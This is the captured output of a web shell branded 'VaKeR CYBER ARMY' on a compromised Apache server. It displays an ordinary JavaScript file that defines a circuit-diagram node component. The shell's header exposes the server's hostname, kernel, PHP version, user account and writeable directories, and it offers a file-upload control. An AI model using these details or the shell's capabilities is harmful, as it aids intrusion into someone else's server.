VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-form/js/dom/circuit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-form/js/dom/circuit/CDENode.js
import FCore, {_, $} from '../../core/FCore';
import Hanger from "absol-acomp/js/Hanger";
import {isRealNumber} from "absol-acomp/js/utils";
import Vec2 from "absol/src/Math/Vec2";
import GCore from "../../core/GCore";
import {copyEvent} from "absol/src/HTML5/EventEmitter";


/***
 * @extends AElement
 * @constructor
 */
function CDENode() {
    this.pinHolders = {in: {}, out: {}};
    this.rect = {width: 0, height: 0};

    this.$typeIcon = null;
    this.$nameCtn = $('.as-cde-node-name-ctn', this);
    this.$name = $('.as-cde-node-name', this);
    this.$decs = $('.as-cde-node-description', this);
    /***
     *
     * @type {Hanger}
     */
    this.$header = $('.as-cde-node-header', this);
    this.$header.hangOn = 3;
    this.$inputCtn = $('.as-cde-node-input-ctn', this);
    this.$outputCtn = $('.as-cde-node-output-ctn', this);
    this.$inputPins = [];
    this.$outputPins = [];


    this._inputPins = [];
    this.inputPins = this._inputPins;

    this._outputPins = [];
    this.outputPins = this._outputPins;
    this._x = 0;
    this._y = 0;

    /***
     * @name x
     * @type {number}
     * @memberOf! CDENode#
     *
     */
    /***
     * @name y
     * @type {number}
     * @memberOf! CDENode#
     *
     */

    /***
     * @name position
     * @type {Vec2}
     * @memberOf! CDENode#
     *
     */


}


CDENode.tag = 'CDENode'.toLowerCase();

CDENode.render = function () {
    return _({
        extendEvent: ['presspin'],
        class: 'as-cde-node',
        child: [
            {
                tag: Hanger.tag,
                class: 'as-cde-node-header',
                child: [
                    {
                        class: 'as-cde-node-name-ctn',
                        child: [
                            {

                                class: 'as-cde-node-name',
                                child: {text: 'Tiêu đề'}
                            },
                            {
                                class: 'as-cde-node-description',
                                child: {text: ''}
                            }
                        ]
                    }

                ]
            },
            {
                class: 'as-cde-node-body',
                child: [
                    {
                        class: 'as-cde-node-input-ctn',
                        child: Array(5).fill(null).map(function (u, i) {
                            return {
                                class: 'as-cde-node-pin',
                                child: [
                                    GCore._({
                                        tag: 'svg',
                                        child: {
                                            tag: 'path',
                                            attr: {
                                                d: "m 13.570174,6.3342697 c 1.607518,1.5146681 2.614487,3.6595924 2.614487,6.0338973 0,2.009296 -0.720663,3.857835 -1.916484,5.297565 L 17.83082,15.634259 23.864715,12.19871 17.83082,8.7611427 Z M 13.800004,12 A 6.7499998,6.7499998 0 0 1 7.0500003,18.75 6.7499998,6.7499998 0 0 1 0.3,12 6.7499998,6.7499998 0 0 1 7.0500003,5.25 6.7499998,6.7499998 0 0 1 13.800004,12 Z"
                                            }
                                        }
                                    }),
                                    {tag: 'span', child: {text: 'pin ' + i}}
                                ]
                            }
                        })
                    },
                    {
                        class: 'as-cde-node-output-ctn',
                        child: Array(5).fill(null).map(function (u, i) {
                            return {
                                class: 'as-cde-node-pin',
                                child: [
                                    {tag: 'span', child: {text: 'pin ' + i}},
                                    'span.mdi.mdi-arrow-right-bold-outline'
                                ]
                            }
                        })
                    }
                ]
            }
        ]
    });
};


CDENode.property = {};

CDENode.prototype.reloadPinPosition = function () {
    var pinName;
    var bound = this.getBoundingClientRect();
    this.rect.width = bound.width;
    this.rect.height = bound.height;
    var pinBound;
    for (pinName in this.pinHolders.in) {
        pinBound = this.pinHolders.in[pinName].elt.getBoundingClientRect();
        this.pinHolders.in[pinName].pos = new Vec2(pinBound.left - bound.left + 5, pinBound.top - bound.top + pinBound.height / 2);
    }

    for (pinName in this.pinHolders.out) {
        pinBound = this.pinHolders.out[pinName].elt.getBoundingClientRect();
        this.pinHolders.out[pinName].pos = new Vec2(pinBound.right - bound.left - 5, pinBound.top - bound.top + pinBound.height / 2);
    }
};


CDENode.property.inputPins = {
    set: function (pins) {
        var self = this;
        pins = pins || []
        this._inputPins = pins;
        this.$inputPins = pins.map(function (pin) {
            return _({
                class: 'as-cde-node-pin',
                child: [
                    GCore._({
                        tag: 'svg',
                        class: 'as-cde-node-pin-ico',
                        attr: {
                            viewBox: '0 0 24 24'
                        },
                        child: {
                            tag: 'path',
                            attr: {
                                d: "m 13.570174,6.3342697 c 1.607518,1.5146681 2.614487,3.6595924 2.614487,6.0338973 0,2.009296 -0.720663,3.857835 -1.916484,5.297565 L 17.83082,15.634259 23.864715,12.19871 17.83082,8.7611427 Z M 13.800004,12 A 6.7499998,6.7499998 0 0 1 7.0500003,18.75 6.7499998,6.7499998 0 0 1 0.3,12 6.7499998,6.7499998 0 0 1 7.0500003,5.25 6.7499998,6.7499998 0 0 1 13.800004,12 Z"
                            }
                        }
                    }),
                    {
                        tag: 'span',
                        child: {text: pin.text || pin.name}
                    }
                ],
                props: {
                    name: pin.name
                },
                on: {
                    click: self.eventHandler.pressPin.bind(null, pin.name, 'in')
                }
            });
        });
        this.$inputCtn.clearChild()
            .addChild(this.$inputPins);
        this.pinHolders.in = this.$inputPins.reduce(function (ac, pinElt) {
            ac[pinElt.name] = {
                elt: pinElt,
                pos: new Vec2(0, 0)
            };
            return ac;
        }, {});
    },
    get: function () {
        return this._inputPins;
    }
};

CDENode.property.outputPins = {
    set: function (pins) {
        pins = pins || [];
        this._outputPins = pins;
        var self = this;
        this.$outputPins = pins.map(function (pin) {
            return _({
                class: 'as-cde-node-pin',
                child: [
                    {
                        tag: 'span',
                        child: {text: pin.text || pin.name}
                    },
                    GCore._({
                        tag: 'svg',
                        class: 'as-cde-node-pin-ico',
                        attr: {
                            viewBox: '0 0 24 24'
                        },
                        child: {
                            tag: 'path',
                            attr: {
                                d: "m 13.570174,6.3342697 c 1.607518,1.5146681 2.614487,3.6595924 2.614487,6.0338973 0,2.009296 -0.720663,3.857835 -1.916484,5.297565 L 17.83082,15.634259 23.864715,12.19871 17.83082,8.7611427 Z M 13.800004,12 A 6.7499998,6.7499998 0 0 1 7.0500003,18.75 6.7499998,6.7499998 0 0 1 0.3,12 6.7499998,6.7499998 0 0 1 7.0500003,5.25 6.7499998,6.7499998 0 0 1 13.800004,12 Z"
                            }
                        }
                    })
                ],
                props: {
                    name: pin.name
                },
                on: {
                    click: self.eventHandler.pressPin.bind(null, pin.name, 'out')
                }
            });
        });
        this.$outputCtn.clearChild()
            .addChild(this.$outputPins);
        this.pinHolders.out = this.$outputPins.reduce(function (ac, pinElt) {
            ac[pinElt.name] = {
                elt: pinElt,
                pos: new Vec2(0, 0)
            };
            return ac;
        }, {});
    },
    get: function () {
        return this._outputPins;
    }
};

CDENode.property.typeIcon = {
    set: function (value) {
        this._typeIcon = value;
        if (this.$typeIcon) {
            this.$typeIcon.remove();
            this.$typeIcon = null;
        }
        if (value) {
            this.$typeIcon = _(value).addClass('as-cde-node-type-icon');
            this.$header.addChildBefore(this.$typeIcon, this.$nameCtn);
        }
    },
    get: function () {
        return this._windowIcon;
    }
};

CDENode.property.name = {
    set: function (value) {
        this.$name.firstChild.data = (value || '') + '';
    },
    get: function () {
        return this.$name.firstChild.data;
    }
};


CDENode.property.desc = {
    set: function (value) {
        this.$decs.firstChild.data = (value || '') + '';
        if (!value) {
            this.$decs.addStyle('display', 'none')
        } else {
            this.$decs.removeStyle('display');
        }
    },
    get: function () {
        return this.$decs.firstChild.data;
    }
};


CDENode.property.x = {
    set: function (value) {
        if (!isRealNumber(value)) value = 0;
        this._x = value;
        this.addStyle('left', value + 'px');
    },
    get: function () {
        return this._x;
    }
};


CDENode.property.y = {
    set: function (value) {
        if (!isRealNumber(value)) value = 0;
        this._y = value;
        this.addStyle('top', value + 'px');
    },
    get: function () {
        return this._y;
    }
};


CDENode.property.position = {
    set: function (value) {
        this.x = value.x;
        this.y = value.y;
    },
    get: function () {
        return new Vec2(this.x, this.y)
    }
};


CDENode.eventHandler = {};

CDENode.eventHandler.pressPin = function (pinName, mode, event) {
    this.emit('presspin',copyEvent(event,  {type: 'presspin', pinName: pinName, mode: mode, target: this}), this);
};

FCore.install(CDENode);

export default CDENode;

VaKeR 2022